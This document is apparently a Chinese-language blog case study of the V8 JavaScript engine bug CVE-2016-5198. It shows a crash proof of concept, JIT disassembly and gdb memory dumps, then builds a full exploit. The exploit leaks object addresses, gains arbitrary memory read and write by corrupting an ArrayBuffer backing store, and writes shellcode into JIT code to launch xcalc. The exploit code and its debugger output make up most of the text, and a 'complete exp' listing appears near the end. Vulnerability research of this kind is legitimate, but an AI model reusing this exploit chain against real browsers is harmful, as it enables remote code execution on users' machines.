case study:cve-2016-5198

case study:cve-2016-5198

bugs

https://bugs.chromium.org/p/chromium/issues/detail?id=659475
https://chromium.googlesource.com/v8/v8/+/2bd7464ec1efc9eb24a38f7400119a5f2257f6e6

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
function Ctor() {
n = new Set();
}

function Check() {
n.xyz = 0x826852f4;
parseInt('AAAAAAAA');
}

for(var i=0; i<2000; ++i) {
Ctor();
}


for(var i=0; i<2000; ++i) {
Check();
}

Ctor();
Check();
print("finish");

漏洞表现

Check

优化前

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
--- Raw source ---
() {
n.xyz = 0x826852f4;
parseInt('AAAAAAAA');
}

--- Code ---
0x35680eb86a00 0 55 push rbp
0x35680eb86a01 1 4889e5 REX.W movq rbp,rsp
0x35680eb86a04 4 56 push rsi
0x35680eb86a05 5 57 push rdi
0x35680eb86a06 6 488b4f2f REX.W movq rcx,[rdi+0x2f]
0x35680eb86a0a 10 488b490f REX.W movq rcx,[rcx+0xf]
0x35680eb86a0e 14 83411b01 addl [rcx+0x1b],0x1
0x35680eb86a12 18 493ba5600c0000 REX.W cmpq rsp,[r13+0xc60]
0x35680eb86a19 25 7305 jnc 32 (0x35680eb86a20)
0x35680eb86a1b 27 e8c0bef5ff call StackCheck (0x35680eae28e0) ;; code: BUILTIN
0x35680eb86a20 32 48b80000000002000000 REX.W movq rax,0x200000000
0x35680eb86a2a 42 e8b1d9ffff call 0x35680eb843e0 ;; code: LOAD_GLOBAL_IC
0x35680eb86a2f 47 50 push rax
0x35680eb86a30 48 48b8e9c362be00370000 REX.W movq rax,0x3700be62c3e9 ;; object: 0x3700be62c3e9 <Number: 2.18788e+09>
0x35680eb86a3a 58 5a pop rdx
0x35680eb86a3b 59 48b919b062be00370000 REX.W movq rcx,0x3700be62b019 ;; object: 0x3700be62b019 <String[3]: xyz>
0x35680eb86a45 69 48bf0000000004000000 REX.W movq rdi,0x400000000
0x35680eb86a4f 79 e80cb8f0ff call 0x35680ea92260 ;; code: STORE_IC
0x35680eb86a54 84 488b75f8 REX.W movq rsi,[rbp-0x8]
0x35680eb86a58 88 48b80000000008000000 REX.W movq rax,0x800000000
0x35680eb86a62 98 e879d9ffff call 0x35680eb843e0 ;; code: LOAD_GLOBAL_IC
0x35680eb86a67 103 50 push rax
0x35680eb86a68 104 49ba112330abf6000000 REX.W movq r10,0xf6ab302311 ;; object: 0xf6ab302311 <undefined>
0x35680eb86a72 114 4152 push r10
0x35680eb86a74 116 49ba39b062be00370000 REX.W movq r10,0x3700be62b039 ;; object: 0x3700be62b039 <String[8]: AAAAAAAA>
0x35680eb86a7e 126 4152 push r10
0x35680eb86a80 128 48ba0000000006000000 REX.W movq rdx,0x600000000
0x35680eb86a8a 138 488b7c2410 REX.W movq rdi,[rsp+0x10]
0x35680eb86a8f 143 b801000000 movl rax,0x1
0x35680eb86a94 148 e8a7ddffff call 0x35680eb84840 ;; code: CALL_IC
0x35680eb86a99 153 488b75f8 REX.W movq rsi,[rbp-0x8]
0x35680eb86a9d 157 4883c408 REX.W addq rsp,0x8
0x35680eb86aa1 161 498b45a0 REX.W movq rax,[r13-0x60]
0x35680eb86aa5 165 48bbc9c462be00370000 REX.W movq rbx,0x3700be62c4c9 ;; object: 0x3700be62c4c9 Cell for 6144
0x35680eb86aaf 175 83430bd1 addl [rbx+0xb],0xd1
0x35680eb86ab3 179 791f jns 212 (0x35680eb86ad4)
0x35680eb86ab5 181 50 push rax
0x35680eb86ab6 182 e8a5bdf5ff call InterruptCheck (0x35680eae2860) ;; code: BUILTIN
0x35680eb86abb 187 58 pop rax
0x35680eb86abc 188 48bbc9c462be00370000 REX.W movq rbx,0x3700be62c4c9 ;; object: 0x3700be62c4c9 Cell for 6144
0x35680eb86ac6 198 49ba0000000000180000 REX.W movq r10,0x180000000000
0x35680eb86ad0 208 4c895307 REX.W movq [rbx+0x7],r10
0x35680eb86ad4 212 c9 leavel
0x35680eb86ad5 213 c20800 ret 0x8

优化后

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
--- Raw source ---
() {
n.xyz = 0x826852f4;
parseInt('AAAAAAAA');
}


--- Optimized code ---
optimization_id = 1
source_position = 50
kind = OPTIMIZED_FUNCTION
name = Check
stack_slots = 5
compiler = crankshaft
Instructions (size = 186)
0x35680eb86c80 0 55 push rbp
0x35680eb86c81 1 4889e5 REX.W movq rbp,rsp
0x35680eb86c84 4 56 push rsi
0x35680eb86c85 5 57 push rdi
0x35680eb86c86 6 4883ec08 REX.W subq rsp,0x8
0x35680eb86c8a 10 488b45f8 REX.W movq rax,[rbp-0x8]
0x35680eb86c8e 14 488945e8 REX.W movq [rbp-0x18],rax
0x35680eb86c92 18 488bf0 REX.W movq rsi,rax
0x35680eb86c95 21 493ba5600c0000 REX.W cmpq rsp,[r13+0xc60]
0x35680eb86c9c 28 7305 jnc 35 (0x35680eb86ca3)
0x35680eb86c9e 30 e83dbcf5ff call StackCheck (0x35680eae28e0) ;; code: BUILTIN
0x35680eb86ca3 35 48b8c1bd62be00370000 REX.W movq rax,0x3700be62bdc1 ;; object: 0x3700be62bdc1 PropertyCell for 0x18b675545e1 <a Set with map 0xae15ff0c391>
...
gdb-peda$ job $rax
0x288d1c42b999: [PropertyCell]
- value: 0x28212078a219 <a Set with map 0x1fdb7e106509>
- details: (data, dictionary_index: 138, attrs: [WE_])
- cell_type: ConstantType (StableMap)
...
0x35680eb86cad 45 488b400f REX.W movq rax,[rax+0xf] //取出JSSet n
...
gdb-peda$ job $rax
0x28212078a219: [JSSet]
- map = 0x1fdb7e106509 [FastProperties]
- prototype = 0x288d1c415e49
- elements = 0x2089c5182241 <FixedArray[0]> [FAST_HOLEY_SMI_ELEMENTS] - table = 0x28212078a239 <FixedArray[13]>
- properties = {
}
...
0x35680eb86cb1 49 49ba0000805e0a4de041 REX.W movq r10,0x41e04d0a5e800000
0x35680eb86cbb 59 c4c1f96ec2 vmovq xmm0,r10
...
0x41e04d0a5e800000 --d2ull-> 0x00000000826852f4
...
0x35680eb86cc0 64 488b4007 REX.W movq rax,[rax+0x7] // 取n的自定义属性数组
...
0x0000393bb3086cc4 in ?? ()
gdb-peda$ job $rax
0x2089c5182241: [FixedArray]
- length: 0
gdb-peda$ x/20gx 0x28212078a219-1
0x28212078a218: 0x00001fdb7e106509 0x00002089c5182241
0x28212078a228: 0x00002089c5182241
...
0x35680eb86cc4 68 488b400f REX.W movq rax,[rax+0xf] // 取n的xyz域
// 因为当JSSet对象n进行初始化时,由于尚没有其他的自定义属性存在,因此该位置将使用内置对象empty_fixed_array进行初始化。
// 让我们看一下empty_fixed_array
0x2089c5182240: 0x000007f3e4882309->FIXED_ARRAY_TYPE Map 0x0000000000000000
0x2089c5182250: 0x000007f3e4882361->initial_string map 0x00000000803b1506
0x2089c5182260: 0x0000000400000000 0xdeadbeed6c6c756e
...
gdb-peda$ job $rax
0x7f3e4882361: [Map]
- type: ONE_BYTE_INTERNALIZED_STRING_TYPE
- instance size: 0
- elements kind: FAST_HOLEY_ELEMENTS
- unused property fields: 0
- enum length: invalid
- stable_map
- back pointer: 0x2089c5182311 <undefined>
- instance descriptors (own) #0: 0x2089c5182231 <FixedArray[0]>
- layout descriptor: 0
- prototype: 0x2089c5182201 <null>
- constructor: 0x2089c5182201 <null>
- code cache: 0x2089c5182241 <FixedArray[0]>
- dependent code: 0x2089c5182241 <FixedArray[0]>
- construction counter: 0
...
0x35680eb86cc8 72 c5fb114007 vmovsd [rax+0x7],xmm0 //重新赋值,破坏了initial_string map的结构,于是在后面ParseInt字符串的时候会crash
...
对比一下赋值前后
前:
gdb-peda$ x/20gx 0x7f3e4882361-1
0x7f3e4882360: 0x000007f3e4882259 0x0019000400007300
0x7f3e4882370: 0x00000000082003ff 0x00002089c5182201
后:
gdb-peda$ x/20gx 0x7f3e4882361-1
0x7f3e4882360: 0x000007f3e4882259 0x41e04d0a5e800000-->破坏了map结构
0x7f3e4882370: 0x00000000082003ff 0x00002089c5182201
...
0x35680eb86ccd 77 49ba112330abf6000000 REX.W movq r10,0xf6ab302311 ;; object: 0xf6ab302311 <undefined>
0x35680eb86cd7 87 4152 push r10
0x35680eb86cd9 89 49ba39b062be00370000 REX.W movq r10,0x3700be62b039 ;; object: 0x3700be62b039 <String[8]: AAAAAAAA>
0x35680eb86ce3 99 4152 push r10
0x35680eb86ce5 101 48bf51d860be00370000 REX.W movq rdi,0x3700be60d851 ;; object: 0x3700be60d851 <JS Function parseInt (SharedFunctionInfo 0xf6ab33ce11)>
0x35680eb86cef 111 488b75e8 REX.W movq rsi,[rbp-0x18]
0x35680eb86cf3 115 488b7727 REX.W movq rsi,[rdi+0x27]
0x35680eb86cf7 119 498b55a0 REX.W movq rdx,[r13-0x60]
0x35680eb86cfb 123 b801000000 movl rax,0x1
0x35680eb86d00 128 bb02000000 movl rbx,0x2
0x35680eb86d05 133 e8f6eeefff call ArgumentsAdaptorTrampoline (0x35680ea85c00) ;; code: BUILTIN
0x35680eb86d0a 138 48b8112330abf6000000 REX.W movq rax,0xf6ab302311 ;; object: 0xf6ab302311 <undefined>
0x35680eb86d14 148 488be5 REX.W movq rsp,rbp
0x35680eb86d17 151 5d pop rbp
0x35680eb86d18 152 c20800 ret 0x8
0x35680eb86d1b 155 90 nop

结论

据此,我们可以得出结论,在JIT优化之后,会直接从n中取出直接取出自定义属性数组中,对应于某属性偏移的字段,而不做任何合法性校验。

exploit

test

1
2
3
4
5
function Check() {
n.xyz = 3.4766863919133141e-308; // do not modify string map
n.xyz1 = 0x1821923f // do not modify hash value
n.xyz2 = 0x7000 // enlarge length of builtIn string 'null'
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
0x1c4269306d80     0  55             push rbp
0x1c4269306d81 1 4889e5 REX.W movq rbp,rsp
0x1c4269306d84 4 56 push rsi
0x1c4269306d85 5 57 push rdi
0x1c4269306d86 6 4883ec08 REX.W subq rsp,0x8
0x1c4269306d8a 10 488b45f8 REX.W movq rax,[rbp-0x8]
0x1c4269306d8e 14 488945e8 REX.W movq [rbp-0x18],rax
0x1c4269306d92 18 488bf0 REX.W movq rsi,rax
0x1c4269306d95 21 493ba5600c0000 REX.W cmpq rsp,[r13+0xc60]
0x1c4269306d9c 28 7305 jnc 35 (0x1c4269306da3)
0x1c4269306d9e 30 e83dbbf5ff call StackCheck (0x1c42692628e0) ;; code: BUILTIN
0x1c4269306da3 35 48b8d9b9fadec60a0000 REX.W movq rax,0xac6defab9d9 ;; object: 0xac6defab9d9 PropertyCell for 0x3b0974d0a4b9 <a Set with map 0x30613ee86509>
0x1c4269306dad 45 488b400f REX.W movq rax,[rax+0xf] //取出JSSet n
0x1c4269306db1 49 49ba0064000004001900 REX.W movq r10,0x19000400006400
0x1c4269306dbb 59 c4c1f96ec2 vmovq xmm0,r10
0x1c4269306dc0 64 488b5807 REX.W movq rbx,[rax+0x7] // 取n的自定义属性数组
0x1c4269306dc4 68 488b5b0f REX.W movq rbx,[rbx+0xf] // 取n的xyz域,注意取域的时候,如果这个域代表的意义是一个整数值,就直接写入,如果代表的是一个指针,就要从指针再寻址写入。
0x1c4269306dc8 72 c5fb114307 vmovsd [rbx+0x7],xmm0
0x1c4269306dcd 77 488b5807 REX.W movq rbx,[rax+0x7] // 取n的自定义属性数组
0x1c4269306dd1 81 c7431b3f922118 movl [rbx+0x1b],0x1821923f // 取n的xyz1域,注意这里要用一个整形数去完整替换,不然会变成一个HeapNum指针,而这个指针是可能访问到不能访问的内存,从而crash
0x1c4269306dd8 88 488b4007 REX.W movq rax,[rax+0x7] // 取n的自定义属性数组
0x1c4269306ddc 92 c7402300700000 movl [rax+0x23],0x7000 // 取n的xyz1域
...
最终
gdb-peda$ x/20gx $rax-1
0x3067ec802240: 0x000025b0e3582309 0x0000000000000000
0x3067ec802250: 0x000025b0e3582361->xyz 0x1821923f->xyz1 803b1506
0x3067ec802260: 0x00007000->xyz2 00000000 0xdeadbeed6c6c756e
...
0x1c4269306de3 99 48b8112380ec67300000 REX.W movq rax,0x3067ec802311 ;; object: 0x3067ec802311 <undefined>
0x1c4269306ded 109 488be5 REX.W movq rsp,rbp
0x1c4269306df0 112 5d pop rbp
0x1c4269306df1 113 c20800 ret 0x8

字符串类型

1
2
3
4
5
6
7
8
9
0x2b753502250:	0x00003182a4182361->null	0x00000000803b1506
0x2b753502260: 0x00000004->length 00000000 0xdeadbeed 6c6c756e->"null"
0x2b753502270: 0x00003182a4182361->object 0x00000000c5f6c42a
0x2b753502280: 0x0000000600000000->length 0xdead 7463656a626f->"object"
...
gdb-peda$ job 0x2b753502251
#null
gdb-peda$ job 0x2b753502271
#object

JSFunction

  • 表示JavaScript function的对象

    • 继承Object, HeapObject, JSReceiver, JSObject
      • 内存结构如下(在64位环境的情况下)
  • 实际演示

    • 存放function f()在数组中

    • 用0xdeadbee查找这个数组的内存位置

    • kCodeEntryOffset is a pointer to the JIT code (RWX area), many strategies to realize arbitrary code execution by writing shellcode before this

JSArrayBuffer

ArrayBuffer and TypedArray

  • Originally ArrayBuffer
    • 一个可以直接从JavaScript访问内存的特殊数组
      • 但是,ArrayBuffer仅准备一个内存缓冲区
      • BackingStore——可以使用TypedArray指定的类型读取和写入该区域,例如作为原始数据数组访问的8位或32位内存
      • 为了实际访问,有必要一起使用TypedArray或DataView
    • 使用例子 (TypedArray版本)
      • 创建方法1,仅指定长度,初始化为零
        t_arr = new Uint8Array(128) //ArrayBuffer被创建在内部
      • 创建方法2,使用特定值初始化
        t_arr = new Uint8Array([4,3,2,1,0]) //ArrayBuffer被创建在内部
      • 创建方法3,事先构建缓冲区并使用它
        arr_buf = new ArrayBuffer(8);
        t_arr1 = new Uint16Array(arr_buf); //创建一个Uint16数组
        t_arr2 = new Uint16Array(arr_buf, 0, 4); //或者,您也可以指定数组的开始和结束位置
    • ArrayBuffer可以在不同的TypedArray之间共享
      • 它也可以用于double和int的类型转换
        • 类型转换的意义在于改变字节序列的解释,而不是转换
        • 就像C语言的Union
      • BackingStore——可以使用TypedArray指定的类型读取和写入该区域,例如作为原始数据数组访问的8位或32位内存
      • ①预先准备ArrayBuffer
        var ab = new ArrayBuffer(0x100);
      • ②向ArrayBuffer中写入一个Float64的值
        var t64 = new Float64Array(ab);
        t64[0] = 6.953328187651540e-310;//字节序列是0x00007fffdeadbeef
      –>当某些地址在V8上泄露时,通常在大多数情况下被迫将其解释为双精度值,为了正确计算偏移量等,需要将其转换为整数值。 对于完成该转换,ArrayBuffer是最佳的
      • ③从ArrayBuffer读取两个Uint32
        var t32 = new Uint32Array(ab);
        k = [t32[1],t32[0]]
      –>k是6.953328187651540e-310,将字节序列按照4个字节去分开,然后解释为Uint32,于是得到:
      k=[0x00007fff,0xdeadbeef]

JSArrayBuffer

  • 持有ArrayBuffer的对象
    • 继承Object,HeapObject,JSReceiver,JSObject
      • 内存结构如下(在64位环境的情况下)
  • 实际演示
    • 存放TypedArray
    • 使用长度0x13370搜索ArrayBuffer的内存位置
    • 在V8中,对象通常被存放在由GC管理的mapped区域,然而BackingStore是一个不被GC管理的区域,并且被存放在heap中(在图中,可以看到malloc块有prev_size和size成员)
      此外,由于它不是由GC管理的HeapObject,因此指向BackingStore的指针不是Tagged Value(末尾不能为1)
    • 虽然在ArrayBuffer中描述了大小,但如果将此值重写为较大的值,则可以允许读取和写入的长度,超出BackingStore数组的范围。
    • 同样,如果您可以重写BackingStore指针,则可以读取和写入任意内存地址,这些是在exploit中常用的方法。

      工具类准备

      主要是用于double和int值的转换
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      // int->double
      // d2u(intaddr/0x100000000,intaddr&0xffffffff)
      function d2u(num1,num2){
      d = new Uint32Array(2);
      d[0] = num2;
      d[1] = num1;
      f = new Float64Array(d.buffer);
      return f[0];
      }
      // double->int
      // u2d(floataddr)
      function u2d(num){
      f = new Float64Array(1);
      f[0] = num;
      d = new Uint32Array(f.buffer);
      return d[1] * 0x100000000 + d[0];
      }

      leak ArrayBuffer和Function

  1. 触发漏洞,越界写null string的长度,写null string的value字段为obj
  2. charCodeAt读出null string的value内容,从而leak出来
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    var ab = new ArrayBuffer(0x200);
    var n;
    ...
    function Ctor() {
    n = new Set();
    }
    function Check(obj){
    n.xyz = 3.4766863919152113e-308; // do not modify string map
    n.xyz1 = 0x0; // do not modify the value
    n.xyz2 = 0x7000; // enlarge length of builtIn string 'null'
    n.xyz3 = obj; // leak the Object
    }
    ...
    Ctor(); // 初始化n
    Check(ab); //写入ArrayBuffer到value字段
    // gdb-peda$ x/10gx 0x28767ae02240
    // 0x28767ae02240: 0x0000083475082309 0x0000000000000000
    // 0x28767ae02250: 0x0000083475082361 0x00000000803b1506
    // 0x28767ae02260: 0x0000700000000000 0x000004ea79906839->ArrayBuffer
    // 0x28767ae02270: 0x0000083475082361 0x00000000c5f6c42a
    // 0x28767ae02280: 0x0000000600000000 0xdead7463656a626f
    // gdb-peda$ job 0x000004ea79906839
    // 0x4ea79906839: [JSArrayBuffer]
    // - map = 0x3bcf5fc82db1 [FastProperties]
    // - prototype = 0xb3e9b805599
    // - elements = 0x28767ae02241 <FixedArray[0]> [FAST_HOLEY_SMI_ELEMENTS]
    // - internal fields: 2
    // - backing_store = 0x55ba589d0640
    // - byte_length = 512
    // - properties = {
    // }
    // - internal fields = {
    // 0
    // 0
    // }
    var str = new String(null);
    var ab_addr = str.charCodeAt(0)*0x1+str.charCodeAt(1)*0x100+str.charCodeAt(2)*0x10000+str.charCodeAt(3)*0x1000000+str.charCodeAt(4)*0x100000000+str.charCodeAt(5)*0x10000000000+str.charCodeAt(6)*0x1000000000000+str.charCodeAt(7)*0x100000000000000;
    print("0x"+ab_addr.toString(16));
    同理,leak出function

    写null string的地址到它自己的value,从而可以通过写value来再次修改null string

这里为什么要这么做呢,原因其实在test里已经可以看到的,如果我们写一个smi到一个属性字段,当然可以直接写到该属性字段对应的偏移。
也就是如图xyz1,我直接写入了一个0x1821923f的smi,注意smi最大是多少呢,在64位和32位有所不同。
在64位平台上V8对smi定义的范围是[-2³¹,2³¹-1],即最大0x7fffffff,显然一个对象的地址会大于它,从而无法直接去写一个地址到该属性字段对应的偏移。

1
2
3
4
gdb-peda$ x/20gx $rax-1
0x3067ec802240: 0x000025b0e3582309 0x0000000000000000
0x3067ec802250: 0x000025b0e3582361->xyz 0x1821923f->xyz1 803b1506
0x3067ec802260: 0x00007000->xyz2 00000000 0xdeadbeed6c6c756e

所以我们要写null string的地址到它自己的value,从而可以通过写value来再次修改null string。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
Check(String(null));
// gdb-peda$ x/20gx $rbx-1
// 0x3817fa502240: 0x00003bd6a4382309 0x0000000000000000
// 0x3817fa502250: 0x00003bd6a4382361 0x00000000803b1506
// 0x3817fa502260: 0x0000700000000000 0x00003817fa502251->null string
// gdb-peda$ job 0x00003bd6a4382361
// 0x3bd6a4382361: [Map]
// - type: ONE_BYTE_INTERNALIZED_STRING_TYPE
// - instance size: 0
// - elements kind: FAST_HOLEY_ELEMENTS
// - unused property fields: 0
// - enum length: invalid
// - stable_map
// - back pointer: 0x3817fa502311 <undefined>
// - instance descriptors (own) #0: 0x3817fa502231 <FixedArray[0]>
// - layout descriptor: 0
// - prototype: 0x3817fa502201 <null>
// - constructor: 0x3817fa502201 <null>
// - code cache: 0x3817fa502241 <FixedArray[0]>
// - dependent code: 0x3817fa502241 <FixedArray[0]>
// - construction counter: 0

修改null string的hash字段为ArrayBuffer的length地址

这里我再次提醒一下为什么要写入这个地址。
之前我们说了,如果写一个smi,可以直接写入,但是如果要写入的数值大于smi,会把该属性字段的值当成一个指针,然后将这个数值写入到那个内存里。
就比如,我向null string的map字段(对应于n.xyz)写一个非SMI进去.
double类型的3.4766863919152113e-308等于int类型的0x0019000400007300

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function Check(obj){
// oob write empty_Fixed_Array, write object to null_str buffer
n.xyz = 3.4766863919152113e-308; // do not modify string map
n.xyz1 = 0x0; // do not modify the value
n.xyz2 = 0x7000; // enlarge length of builtIn string 'null'
n.xyz3 = obj; // leak the Object addr
}
...
...
gdb-peda$ x/20gx 0x33e606b02241-1
0x33e606b02240: 0x0000081f59a02309 0x0000000000000000
0x33e606b02250: 0x0000081f59a02361->n.xyz 0x00000000803b1506
0x33e606b02260: 0x0000700000000000 0x000017f1e8c36fe96f

gdb-peda$ x/20gx 0x0000081f59a02361-1
0x81f59a02360: 0x0000081f59a02259 0x0019000400007300->被写入的3.4766863919152113e-3080x0019000400007300
0x81f59a02370: 0x00000000082003ff 0x000033e606b02201
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
var m;
...
function Ctor2() {
m = new Map();
}
function Check2(addr){
// Oob write empty_Fixed_Array, str buffer value will be treat as a number pointer
m.xyz = 3.4766863919152113e-308; // do not modify string map
m.xyz1 = 0x0 // do not modify the value
m.xyz2 = 0x7000 // enlarge length of builtIn string 'null'
m.xyz3 = addr
}
Check2(ab_len_ptr_float);
// 0x3817fa502250: 0x00003bd6a4382361 0x0000108ed87359d9->ArrayBuffer length的地址
// 0x3817fa502260: 0x0000700000000000 0x00003817fa502251->null string
// gdb-peda$ x/20gx 0x108ed87359c1-1
// 0x108ed87359c0: 0x00002d714c002db1 0x000037191c982241
// 0x108ed87359d0: 0x000037191c982241 0x0000020000000000->length
// 0x108ed87359e0: 0x000055ba589d0640->BackingStore

所以说为了写入一个地址到ArrayBuffer的BackingStore,首先将BackingStore向前减去8个字节的地址即length地址写入到hash字段。

向null string的hash字段写入任意值,得到任意地址读写的原语

类似于我们上面写map一样,将[length_addr+0x8]即backingstore给覆盖成我们想要写入的内容。
在v8里,只要你能修改backingstore的值,就可以进行任意地址读写
于是就有了一个任意地址读写的原语。

于是我们先将func_addr写到backingstore,读到函数真正执行时候的code地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
var l;
function Ctor3() {
l = new ArrayBuffer();
}
function Check3(addr){
// Oob write empty_Fixed_Array, str length will be treat as a number pointer
l.xyz = 3.4766863919152113e-308; // do not modify string map
l.xyz1 = addr
}
Ctor3();
Check3(func_addr_float);
f64 = new Float64Array(ab);
shellcode_addr_float = f64[7];
print("0x"+(u2d(shellcode_addr_float)).toString(16));
// gdb-peda$ job 0x108ed87359c1
// 0x108ed87359c1: [JSArrayBuffer]
// - map = 0x2d714c002db1 [FastProperties]
// - prototype = 0x108ed8705599
// - elements = 0x37191c982241 <FixedArray[0]> [FAST_HOLEY_SMI_ELEMENTS]
// - internal fields: 2
// - backing_store = 0x108ed8735a00->已经被改成了Function的地址
// - byte_length = 512
// - properties = {
// }
// - internal fields = {
// 0
// 0
// }
// gdb-peda$ x/20gx 0x108ed87359c1-1
// 0x108ed87359c0: 0x00002d714c002db1 0x000037191c982241
// 0x108ed87359d0: 0x000037191c982241 0x0000020000000000
// 0x108ed87359e0: 0x0000108ed8735a00->已经被改成了Function的地址 0x0000000000000004
// 0x108ed87359f0: 0x0000000000000000 0x0000000000000000

// gdb-peda$ x/20gx 0x0000108ed8735a01-1
// 0x108ed8735a00: 0x00002d714c0040f1 0x000037191c982241
// 0x108ed8735a10: 0x000037191c982241 0x000037191c982351
// 0x108ed8735a20: 0x0000108ed872d849 0x0000108ed8703951
// 0x108ed8735a30: 0x000037191c984b21 0x000016396d105e00-->shellcode_addr_float[7]
...
// gdb-peda$ job 0x0000108ed8735a01
// 0x108ed8735a01: [Function]
// - map = 0x2d714c0040f1 [FastProperties]
// - prototype = 0x108ed87040b9
// - elements = 0x37191c982241 <FixedArray[0]> [FAST_HOLEY_ELEMENTS]
// - initial_map =
// - shared_info = 0x108ed872d849 <SharedFunctionInfo>
// - name = 0x37191c982471 <String[0]: >
// - formal_parameter_count = 0
// - context = 0x108ed8703951 <FixedArray[235]>
// - literals = 0x37191c984b21 <FixedArray[1]>
// - code = 0x16396d105da1 <Code: FUNCTION>

再将取得的函数真正执行时候执行的函数地址,写入到backingstore,从而通过它进行任意地址写,写入我们的shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
Check3(shellcode_addr_float);
// pop /usr/bin/xcalc
var shellcode = new Uint32Array(ab);
shellcode[0] = 0x90909090;
shellcode[1] = 0x90909090;
shellcode[2] = 0x782fb848;
shellcode[3] = 0x636c6163;
shellcode[4] = 0x48500000;
shellcode[5] = 0x73752fb8;
shellcode[6] = 0x69622f72;
shellcode[7] = 0x8948506e;
shellcode[8] = 0xc03148e7;
shellcode[9] = 0x89485750;
shellcode[10] = 0xd23148e6;
shellcode[11] = 0x3ac0c748;
shellcode[12] = 0x50000030;
shellcode[13] = 0x4944b848;
shellcode[14] = 0x414c5053;
shellcode[15] = 0x48503d59;
shellcode[16] = 0x3148e289;
shellcode[17] = 0x485250c0;
shellcode[18] = 0xc748e289;
shellcode[19] = 0x00003bc0;
shellcode[20] = 0x050f00;

然后再执行这个被我们改了内容的函数,就可以弹计算器了。

1
evil_f();

完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
var ab = new ArrayBuffer(0x200);
var n;
var m;
var l;


var evil_f = new Function("var a = 1000000");

// int->double
// d2u(intaddr/0x100000000,intaddr&0xffffffff)
function d2u(num1,num2){
d = new Uint32Array(2);
d[0] = num2;
d[1] = num1;
f = new Float64Array(d.buffer);
return f[0];
}
// double->int
// u2d(floataddr)
function u2d(num){
f = new Float64Array(1);
f[0] = num;
d = new Uint32Array(f.buffer);
return d[1] * 0x100000000 + d[0];
}

function Ctor() {
n = new Set();
}
function Ctor2() {
m = new Map();
}
function Ctor3() {
l = new ArrayBuffer();
}
function Check(obj){
// oob write empty_Fixed_Array, write object to null_str buffer
n.xyz = 3.4766863919152113e-308; // do not modify string map
n.xyz1 = 0x0; // do not modify the value
n.xyz2 = 0x7000; // enlarge length of builtIn string 'null'
n.xyz3 = obj; // leak the Object addr
}
// print("0x"+u2d(3.4766863919133141e-308;
// print(d2u(0x0019000400007300/0x100000000,0x0019000400007300&0xffffffff));

function Check2(addr){
// Oob write empty_Fixed_Array, str buffer value will be treat as a number pointer
m.xyz = 3.4766863919152113e-308; // do not modify string map
m.xyz1 = 0x0 // do not modify the value
m.xyz2 = 0x7000 // enlarge length of builtIn string 'null'
m.xyz3 = addr
}
function Check3(addr){
// Oob write empty_Fixed_Array, str length will be treat as a number pointer
l.xyz = 3.4766863919152113e-308; // do not modify string map
l.xyz1 = addr
}


// JIT优化
for(var i=0; i<10000; ++i) {
Ctor();
Ctor2();
Ctor3();
}

for(var i=0; i<10000; ++i) {
Check(null);
Check2(3.4766863919152113e-308);
Check3(3.4766863919152113e-308);
}

Ctor(); // 初始化n
Ctor2(); // 初始化m
Ctor3(); // 初始化l
print("jsset is :");
%DebugPrint(n);
// %DebugPrint(Check);
// read(1);//插入断点
Check(ab);

var str = new String(null);
%DebugPrint(ab);
var ab_addr = str.charCodeAt(0)*0x1+str.charCodeAt(1)*0x100+str.charCodeAt(2)*0x10000+str.charCodeAt(3)*0x1000000+str.charCodeAt(4)*0x100000000+str.charCodeAt(5)*0x10000000000+str.charCodeAt(6)*0x1000000000000+str.charCodeAt(7)*0x100000000000000;
print("0x"+ab_addr.toString(16));
var ab_len_ptr = ab_addr+24;

ab_len_ptr_float = d2u(ab_len_ptr/0x100000000,ab_len_ptr&0xffffffff);
Check(evil_f);
%DebugPrint(evil_f);
var func_addr = str.charCodeAt(0)*0x1+str.charCodeAt(1)*0x100+str.charCodeAt(2)*0x10000+str.charCodeAt(3)*0x1000000+str.charCodeAt(4)*0x100000000+str.charCodeAt(5)*0x10000000000+str.charCodeAt(6)*0x1000000000000+str.charCodeAt(7)*0x100000000000000;
print("0x"+func_addr.toString(16));
func_addr = func_addr - 1;
func_addr_float = d2u(func_addr/0x100000000,func_addr&0xffffffff);

Check(String(null));
// %DebugPrint(Check2);
// read(1);//插入断点

Check2(ab_len_ptr_float);


Check3(func_addr_float);

f64 = new Float64Array(ab);
shellcode_addr_float = f64[7];
print("0x"+(u2d(shellcode_addr_float)).toString(16));
Check3(shellcode_addr_float);
// pop /usr/bin/xcalc
